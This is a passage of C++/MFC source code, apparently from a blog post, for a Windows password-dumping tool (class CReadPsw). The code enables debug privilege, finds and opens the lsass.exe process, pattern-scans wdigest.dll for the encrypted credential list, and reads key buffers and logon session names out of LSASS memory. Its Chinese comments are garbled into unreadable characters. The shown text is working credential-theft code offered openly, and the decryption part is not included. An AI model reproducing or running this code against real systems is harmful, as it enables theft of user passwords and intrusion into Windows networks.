        pdataAddr = (LPVOID)pDecryptKey;
        *(DWORD *)pdataAddr = (DWORD)MemBuf;

        ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)((DWORD)MemBuf + 8);
        *(DWORD *)pdataAddr = (DWORD)SecBuf;

        ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead);
        pdataAddr = (LPVOID)((DWORD)MemBuf + 0xC);
        *(DWORD *)pdataAddr = (DWORD)ThirdBuf;

        break;
    }
    }
    return;
}

CString CReadPsw::CharToCString(IN char* result)
{
    //½«char ת»»Îª CString×Ö·û
    DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, result, -1, NULL, 0);
    wchar_t *pwText;
    pwText = new wchar_t[dwNum];
    if (!pwText)
    {
        delete[]pwText;
        return NULL;
    }
    MultiByteToWideChar(CP_ACP, 0, result, -1, pwText, dwNum);// ¿ªÊ¼×ª»»
    CString cstr = pwText;
    delete pwText;
    return cstr;
}

struct RTL_USER_PROCESS_PARAMETERS_I
{
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
};

struct PEB_INTERNAL
{
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    struct PEB_LDR_DATA* Ldr;
    RTL_USER_PROCESS_PARAMETERS_I* ProcessParameters;
    BYTE Reserved4[104];
    PVOID Reserved5[52];
    struct PS_POST_PROCESS_INIT_ROUTINE* PostProcessInitRoutine;
    BYTE Reserved6[128];
    PVOID Reserved7[1];
    ULONG SessionId;
};

HANDLE CReadPsw::GetProcessHandleByName(const TCHAR *szName)
{
    //
    // GetProcessHandle»ñµÃlsass.exe½ø³Ì¾ä±ú
    //
    DWORD  dwProcessId, ReturnLength, nBytes;
    PROCESS_BASIC_INFORMATION pbi;
    //smPPROCESS_BASIC_INFORMATION pbi = (smPPROCESS_BASIC_INFORMATION)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY, sizeof(smPROCESS_BASIC_INFORMATION));
    WCHAR  Buffer[MAX_PATH + 0x20];
    HANDLE hProcess;
    PWCHAR pRetStr;
    pNTQUERYPROCESSINFORMATION NtQueryInformationProcess;
    CHAR   szCurrentPath[MAX_PATH];

    NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueryInformationProcess");

    // Process ID Ò»¶¨ÊÇ 4 µÄ±¶Êý
    for (dwProcessId = 4; dwProcessId < 10 * 1000; dwProcessId += 4)
    {
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProcess != NULL)
        {
            if (!NtQueryInformationProcess(hProcess, 27, &Buffer, sizeof(Buffer), &ReturnLength)) //if (!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength))
            {
                //pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)); //32bit
                pRetStr = (PWCHAR)Buffer + 8; //64bit

                wprintf(pRetStr);
                printf("\r\n");

                nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, szCurrentPath, MAX_PATH, NULL, NULL);
                if (nBytes)
                {
                    PCHAR pCurName = &szCurrentPath[nBytes - 1];
                    while (pCurName >= szCurrentPath)
                    {
                        if (*pCurName == '\\')  break;
                        pCurName--;
                    }
                    pCurName++;
                    CString str = CharToCString(pCurName);
                    if (lstrcmpi(szName, str) == 0)
                    {
                        printf("Found Lsass, Returning\r\n");
                        return hProcess;
                    }
                }
            }
            // ¹Ø±Õ´ò¿ªµÄ¾ä±ú
            CloseHandle(hProcess);
        }
    }
    return NULL;
}

LPVOID CReadPsw::GetEncryptListHead()
{
    //
    // ¸ù¾ÝKeyPointerSign[]»ñµÃÃÜÎÄ´æ´¢µÄ¹Ø¼üÏà¹ØµØÖ·
    //
    HINSTANCE hMod;
    LPVOID    pEndAddr, KeyPointer, pTemp;

    hMod = LoadLibrary(_T("wdigest.dll"));
    pEndAddr = GetProcAddress(hMod, "SpInstanceInit");
    pTemp = hMod;
    KeyPointer = NULL;
    while (pTemp < pEndAddr && pTemp != NULL)
    {
        KeyPointer = pTemp;
        pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \
            KeyPointerSign, sizeof(KeyPointerSign));
    }
    //KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)); //32BIT
    KeyPointer = (LPVOID)((DWORD)KeyPointer - 4);
    FreeLibrary(hMod);
    return KeyPointer;
}

void CReadPsw::printSessionInfo(pLSAGETLOGONSESSIONDATA  LsaGetLogonSessionData,
    pLSAFREERETURNBUFFER LsaFreeReturnBuffer,
    PLUID pCurLUID,
    OUT READPSWDATA_S* tagRPWDATA)
{
    PSECURITY_LOGON_SESSION_DATA pLogonSessionData;

    LsaGetLogonSessionData(pCurLUID, &pLogonSessionData);
    printf("UserName: %S\n", pLogonSessionData->UserName.Buffer);   //̞
    printf("LogonDomain: %S\n", pLogonSessionData->LogonDomain.Buffer);  //µÇ½Óò

    wsprintfW(tagRPWDATA->szUserName, _T("%s"), pLogonSessionData->UserName.Buffer);
    wsprintfW(tagRPWDATA->szDomain, _T("%s"), pLogonSessionData->LogonDomain.Buffer);

    LsaFreeReturnBuffer(pLogonSessionData);
}

int CReadPsw::EnableDebugPrivilege()
{
    HANDLE hToken;
    LUID   sedebugnameValue;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
        puts("OpenProcessToken fail");
        return 0;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        puts("LookupPrivilegeValue fail");
        return 0;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        puts("AdjustTokenPrivileges fail");
        return 0;
    }
    return 1;
}

PBYTE CReadPsw::search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize)
{
    //
    // ÔÚpBeginÓëpEndÖ®¼äËÑË÷pBytesµØÖ·´¦µÄÖ¸¶¨×Ö½ÚÐòÁУ¬×Ö½Ú¸öÊýΪnsize
    //
    DWORD count;
    PBYTE pDst;

    while ((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd)
    {
        pDst = pBytes;
        count = 0;
        while (count < nsize && *pBegin == *pDst)
        {
            pBegin++;
            pDst++;
            count++;
        }
        if (count == nsize)  break;
        pBegin = pBegin - count + 1;
    }
    if (count == nsize)
    {
        return (PBYTE)((DWORD)pBegin - (DWORD)count);
    }
    else
    {
        return NULL;
    }
}

























// The one and only application object

CWinApp theApp;

using namespace std;

int main()
{
    int nRetCode = 0;

    HMODULE hModule = ::GetModuleHandle(nullptr);

    if (hModule != nullptr)
    {
        // initialize MFC and print and error on failure
        if (!AfxWinInit(hModule, nullptr, ::GetCommandLine(), 0))
        {
            // TODO: change error code to suit your needs
            wprintf(L"Fatal Error: MFC initialization failed\n");
            nRetCode = 1;
        }
        else
        {
            // TODO: code your application's behavior here.
        }
    }
    else
    {
        // TODO: change error code to suit your needs
        wprintf(L"Fatal Error: GetModuleHandle failed\n");
        nRetCode = 1;
    }

    wprintf(L"Press enter to continue\n");
    CReadPsw    m_readPsw;
    m_readPsw.SendSecurityPwd(NULL);

    std::cin.get();

    return nRetCode;
}

Leave a Reply

Your email address will not be published. Required fields are marked *

To create code blocks or other preformatted text, indent by four spaces:

    This will be displayed in a monospaced font. The first four 
    spaces will be stripped off, but all other whitespace
    will be preserved.
    
    Markdown is turned off in code blocks:
     [This is not a link](http://example.com)

To create not a block, but an inline code span, use backticks:

Here is some inline `code`.

For more help see http://daringfireball.net/projects/markdown/syntax